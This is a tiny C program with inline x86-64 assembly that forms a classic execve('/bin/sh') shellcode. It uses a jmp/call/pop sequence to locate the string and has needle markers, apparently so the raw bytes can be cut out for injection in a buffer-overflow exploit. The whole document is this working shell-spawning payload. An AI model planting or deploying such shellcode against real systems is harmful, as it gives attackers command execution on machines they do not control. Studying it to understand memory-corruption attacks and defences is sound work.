int main() {
  asm("\
needle0: jmp there\n\
here:    pop %rdi\n\
         xor %rax, %rax\n\
         movb $0x3b, %al\n\
         xor %rsi, %rsi\n\
         xor %rdx, %rdx\n\
         syscall\n\
there:   call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}